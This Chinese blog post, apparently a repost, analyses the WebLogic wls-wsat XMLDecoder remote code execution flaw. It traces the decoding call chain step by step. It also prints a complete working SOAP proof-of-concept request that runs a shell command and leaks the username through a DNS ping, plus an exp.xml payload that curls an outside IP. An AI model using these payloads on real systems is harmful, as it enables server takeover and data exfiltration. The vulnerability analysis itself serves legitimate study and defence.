首页 安全文摘 WEB安全 正文

weblogic_xmldecoder安全问题分析

这篇文章将会分析weblogic中xmldecoder引发的安全问题,如果发现有错误的地方,希望师傅们斧正。0x00 环境搭建$ cat docker-compose.yml version: '2'services: weblogic: image: vulhub/weblogic ports: &

这篇文章将会分析weblogic中xmldecoder引发的安全问题,如果发现有错误的地方,希望师傅们斧正。

0x00 环境搭建

$ cat docker-compose.yml
version: '2'services:
 weblogic:
   image: vulhub/weblogic
   ports:
     - "8453:8453"
     - "7001:7001"

然后进入容器修改/root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh

if [ "${debugFlag}" = "true" ] ; then
        JAVA_DEBUG="-Xdebug -Xnoagent -Xrunjdwp:transport=dt_socket,address=${DEBUG_PORT},server=y,suspend=n -Djava.compiler=NONE"
        export JAVA_DEBUG
        JAVA_OPTIONS="${JAVA_OPTIONS} ${enableHotswapFlag} -ea -da:com.bea... -da:javelin... -da:weblogic... -ea:com.bea.wli... -ea:com.bea.broker... -ea:com.bea.sbconsole..."
        export JAVA_OPTIONS

找到这个,在前面加上

debugFlag="true"expport debugFlag

重启一下,然后远程调试使用的idea,我把本地调试的代码打包放到附件里,然后导入library然后remote即可。

0x01 漏洞分析

先看poc

POST /wls-wsat/CoordinatorPortType HTTP/1.1Host: 127.0.0.1:7001User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateReferer: http://127.0.0.1:7001/wls-wsat/CoordinatorPortTypeContent-Type: text/xmlContent-Length: 916Connection: closeCookie: user=TzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjg6InJlZ2lzdGVkIjtiOjA7czo3OiJjaGVja2VyIjtPOjI2OiJhcHBcd2ViXGNvbnRyb2xsZXJcUHJvZmlsZSI6NTp7czo2OiJleGNlcHQiO2E6MTp7czo1OiJpbmRleCI7czoxMDoidXBsb2FkX2ltZyI7fXM6MTI6ImZpbGVuYW1lX3RtcCI7czo3NjoidXBsb2FkLzhiMjY2MzEyMTljOGY4ZWNhYzUxYjkzNWNjODdjY2QxL2E3YzNjZTA3NjU4NTQ3Nzc0MWQ5NTFkMTc5YWIwN2RjLnBuZyI7czozOiJleHQiO2k6MTtzOjg6ImZpbGVuYW1lIjtzOjQ5OiJ1cGxvYWQvOGIyNjYzMTIxOWM4ZjhlY2FjNTFiOTM1Y2M4N2NjZDEvc2hlbGwucGhwIjtzOjExOiJ1cGxvYWRfbWVudSI7czozMjoiOGIyNjYzMTIxOWM4ZjhlY2FjNTFiOTM1Y2M4N2NjZDEiO319; hibext_instdsigdipv2=1Upgrade-Insecure-Requests: 1<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
          <soapenv:Header>
            <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
              <java>
                <object class="java.lang.ProcessBuilder">
                  <array class="java.lang.String" length="3">
                    <void index="0">
                      <string>/bin/sh</string>
                    </void>
                    <void index="1">
                      <string>-c</string>
                    </void>
                    <void index="2">
                      <string>ping `whoami`.xxx.xxx</string>
                    </void>
                  </array>
                  <void method="start"/>
                </object>
              </java>
            </work:WorkContext>
          </soapenv:Header>
          <soapenv:Body/></soapenv:Envelope>

weblogic xmldecoder安全问题分析 Web安全 漏洞分析 weblogic xmldecoder WEB安全  第1张

先打上断点看下调用堆栈wlserver_10.3/server/lib/weblogic.jar!/weblogic/wsee/workarea/WorkContextXmlInputAdapter.class

weblogic xmldecoder安全问题分析 Web安全 漏洞分析 weblogic xmldecoder WEB安全  第2张

我们直接从解析处入手

    public NextAction processRequest(Packet var1) {
        this.isUseOldFormat = false;
        if (var1.getMessage() != null) {
            HeaderList var2 = var1.getMessage().getHeaders();
            Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true);
            if (var3 != null) {
                this.readHeaderOld(var3);
                this.isUseOldFormat = true;
            }

            Header var4 = var2.get(this.JAX_WS_WORK_AREA_HEADER, true);
            if (var4 != null) {
                this.readHeader(var4);
            }
        }

        return super.processRequest(var1);
    }

这个processRequest看起来是个处理xml的函数,在这里调试的时候我发现步入不进xml处理的方法,后来发现本地缺少com.sun.xml.ws这个包,然后我使用maven导入后还是步入不了,虽然不影响我们分析漏洞,但是弄明白怎么处理的对我们理解更有帮助,然后我选择直接看代码

跟进Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true);hhhh手动跟进,没法动态跟,直接看代码吧

  @Nullable
  public Header get(@NotNull QName name, boolean markAsUnderstood) {
      return this.get(name.getNamespaceURI(), name.getLocalPart(), markAsUnderstood);
  }

因为里面有方法的重载,根据传入的参数类型以及个数可以看到是这样实现的,进入跟

    @NotNull
    public Iterator<Header> getHeaders(@NotNull final String nsUri, @NotNull final String localName, final boolean markAsUnderstood) {
        return new Iterator<Header>() {
            int idx = 0;
            Header next;

            public boolean hasNext() {
                if (this.next == null) {
                    this.fetch();
                }

                return this.next != null;
            }

            public Header next() {
                if (this.next == null) {
                    this.fetch();
                    if (this.next == null) {
                        throw new NoSuchElementException();
                    }
                }

                if (markAsUnderstood) {
                    assert HeaderList.this.get(this.idx - 1) == this.next;

                    HeaderList.this.understood(this.idx - 1);
                }

                Header r = this.next;
                this.next = null;
                return r;
            }

            private void fetch() {
                while(true) {
                    if (this.idx < HeaderList.this.size()) {
                        Header h = HeaderList.this.get(this.idx++);
                        if (!h.getLocalPart().equals(localName) || !h.getNamespaceURI().equals(nsUri)) {
                            continue;
                        }

                        this.next = h;
                    }

                    return;
                }
            }

            public void remove() {
                throw new UnsupportedOperationException();
            }
        };
    }

因为这里没有动态调,逻辑理解可能会有些偏差,根据代码

if (!h.getLocalPart().equals(localName) || !h.getNamespaceURI().equals(nsUri)) {
                            continue;
                        }

可以分析出这里是获取了header,然后会将这部分代入this.readHeaderOld(var3);处理,跟进

wlserver_10.3/server/lib/weblogic.jar!/weblogic/wsee/jaxws/workcontext/WorkContextTube.class

weblogic xmldecoder安全问题分析 Web安全 漏洞分析 weblogic xmldecoder WEB安全  第3张

这里将缓冲区中的剩余内容读取出来,跟入new WorkContextXmlInputAdapter

    public WorkContextXmlInputAdapter(InputStream var1) {
        this.xmlDecoder = new XMLDecoder(var1);
    }

实例化了XMLDecoder对象,然后var6为实例化的WorkContextXmlInputAdapter对象

继续跟入this.receive(var6)

    protected void receive(WorkContextInput var1) throws IOException {
        WorkContextMapInterceptor var2 = WorkContextHelper.getWorkContextHelper().getInterceptor();
        var2.receiveRequest(var1);
    }

继续跟

    public void receiveRequest(WorkContextInput var1) throws IOException {
        ((WorkContextMapInterceptor)this.getMap()).receiveRequest(var1);
    }

继续跟wlserver_10.3/server/lib/wlclient.jar!/weblogic/workarea/WorkContextLocalMap.class

    public void receiveRequest(WorkContextInput var1) throws IOException {
        while(true) {
            try {
                WorkContextEntry var2 = WorkContextEntryImpl.readEntry(var1);
                if (var2 == WorkContextEntry.NULL_CONTEXT) {
                    return;
                }

                String var3 = var2.getName();
                this.map.put(var3, var2);
                if (debugWorkContext.isDebugEnabled()) {
                    debugWorkContext.debug("receiveRequest(" + var2.toString() + ")");
                }
            } catch (ClassNotFoundException var4) {
                if (debugWorkContext.isDebugEnabled()) {
                    debugWorkContext.debug("receiveRequest : ", var4);
                }
            }
        }
    }

这里在readEntry(var1)数据进行处理,往下走可以看到

    public static WorkContextEntry readEntry(WorkContextInput var0) throws IOException, ClassNotFoundException {
        String var1 = var0.readUTF();
        return (WorkContextEntry)(var1.length() == 0 ? NULL_CONTEXT : new WorkContextEntryImpl(var1, var0));
    }

看到了readUTF(),也就是一开始打断点的地方,跟入到

    public String readUTF() throws IOException {
        return (String)this.xmlDecoder.readObject();
    }

这里我们知道$this->xmlDecoderXMLDecoder的对象,这里看一下poc是怎么执行的呢

本地写段简单的代码来理解一下

import java.io.*;import java.beans.XMLDecoder;public class test{
    public static String cmd;
    public static void main(String args[]) throws Exception{

    File file = new File("/Users/p0desta/Desktop/code/test/src/exp.xml");
    XMLDecoder xd = new XMLDecoder(new BufferedInputStream(new FileInputStream(file)));
    System.out.println(new FileInputStream(file));
    System.out.println(new BufferedInputStream(new FileInputStream(file)));
    xd.readObject();
    }}

Exp.xml中的内容为

<java>
    <object class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="3">
            <void index="0">
                <string>/bin/sh</string>
            </void>
            <void index="1">
                <string>-c</string>
            </void>
            <void index="2">
                <string>curl http://114.116.44.126/public/?a=a</string>
            </void>
        </array>
        <void method="start"/>
    </object></java>

跟入readObject看看实现的什么

    public Object readObject() {
        return (parsingComplete())
                ? this.array[this.index++]
                : null;
    }

跟进parsingComplete

  private boolean parsingComplete() {
      if (this.input == null) {
          return false;
      }
      if (this.array == null) {
          if ((this.acc == null) && (null != System.getSecurityManager())) {
              throw new SecurityException("AccessControlContext is not set");
          }
          AccessController.doPrivileged(new PrivilegedAction<Void>() {
              public Void run() {
                  XMLDecoder.this.handler.parse(XMLDecoder.this.input);
                  return null;
              }
          }, this.acc);
          this.array = this.handler.getObjects();
      }
      return true;
  }

weblogic xmldecoder安全问题分析 Web安全 漏洞分析 weblogic xmldecoder WEB安全  第4张

可以看到是调用DocumentHandler.parse来处理输入,跟进看一下

    public void parse(final InputSource var1) {
        if (this.acc == null && null != System.getSecurityManager()) {
            throw new SecurityException("AccessControlContext is not set");
        } else {
            AccessControlContext var2 = AccessController.getContext();
            SharedSecrets.getJavaSecurityAccess().doIntersectionPrivilege(new PrivilegedAction<Void>() {
                public Void run() {
                    try {
                        SAXParserFactory.newInstance().newSAXParser().parse(var1, DocumentHandler.this);
                    } catch (ParserConfigurationException var3) {
                        DocumentHandler.this.handleException(var3);
                    } catch (SAXException var4) {
                        Object var2 = var4.getException();
                        if (var2 == null) {
                            var2 = var4;
                        }
                        DocumentHandler.this.handleException((Exception)var2);
                    } catch (IOException var5) {
                        DocumentHandler.this.handleException(var5);
                    }

                    return null;
                }
            }, var2, this.acc);
        }
    }

然后传进来的var1继续进入SAXParserFactory.newInstance().newSAXParser().parse(var1, DocumentHandler.this);

    public void parse(InputSource is, DefaultHandler dh)
        throws SAXException, IOException {
        if (is == null) {
            throw new IllegalArgumentException();
        }
        if (dh != null) {
            xmlReader.setContentHandler(dh);
            xmlReader.setEntityResolver(dh);
            xmlReader.setErrorHandler(dh);
            xmlReader.setDTDHandler(dh);
            xmlReader.setDocumentHandler(null);
        }
        xmlReader.parse(is);
    }

重点关注xmlReader.parse(is);

        public void parse(InputSource inputSource)
            throws SAXException, IOException {
            if (fSAXParser != null && fSAXParser.fSchemaValidator != null) {
                if (fSAXParser.fSchemaValidationManager != null) {
                    fSAXParser.fSchemaValidationManager.reset();
                    fSAXParser.fUnparsedEntityHandler.reset();
                }
                resetSchemaValidator();
            }
            super.parse(inputSource);
        }

继续跟入父类的parse方法,往下走可以看到一系列处理xml的代码

weblogic xmldecoder安全问题分析 Web安全 漏洞分析 weblogic xmldecoder WEB安全  第5张

跟到/rt.jar!/com/sun/beans/decoder/ElementHandler.class

    public void endElement() {
        ValueObject var1 = this.getValueObject();
        if (!var1.isVoid()) {
            if (this.id != null) {
                this.owner.setVariable(this.id, var1.getValue());
            }

            if (this.isArgument()) {
                if (this.parent != null) {
                    this.parent.addArgument(var1.getValue());
                } else {
                    this.owner.addObject(var1.getValue());
                }
            }
        }
    }

weblogic xmldecoder安全问题分析 Web安全 漏洞分析 weblogic xmldecoder WEB安全  第6张

在往下跟,会发现构造的poc里面的恶意字符会拼接起来

weblogic xmldecoder安全问题分析 Web安全 漏洞分析 weblogic xmldecoder WEB安全  第7张

继续跟

weblogic xmldecoder安全问题分析 Web安全 漏洞分析 weblogic xmldecoder WEB安全  第8张

跟到这里的时候var5.getValue里面有东西

    public Object getValue() throws Exception {
        if (value == unbound) {
            setValue(invoke());
        }
        return value;
    }

反射调用了,整个调用链就是这样。

0x02 参考

本文转载自互联网,如有侵权,联系删除

转载请注明本文地址:https://heibai.org.cn/1332.html

相关推荐

发布评论

ainiaobaibaibaibaobaobeishangbishibizuichiguachijingchongjingdahaqiandaliandangaodw_dogedw_erhadw_miaodw_tuzidw_xiongmaodw_zhutouganbeigeiliguiguolaiguzhanghahahahashoushihaixiuhanheixianhenghorse2huaixiaohuatonghuaxinhufenjiayoujiyankeaikeliankouzhaokukuloukunkuxiaolandelinileimuliwulxhainiolxhlikelxhqiuguanzhulxhtouxiaolxhwahahalxhzanningwennonuokpinganqianqiaoqinqinquantouruoshayanshengbingshiwangshuaishuijiaosikaostar0star2star3taikaixintanshoutianpingtouxiaotuwabiweifengweiquweiwuweixiaowenhaowoshouwuxiangjixianhuaxiaoerbuyuxiaokuxiaoxinxinxinxinsuixixixuyeyinxianyinyueyouhenghengyuebingyueliangyunzanzhajizhongguozanzhoumazhuakuangzuohenghengzuoyi
感谢您的支持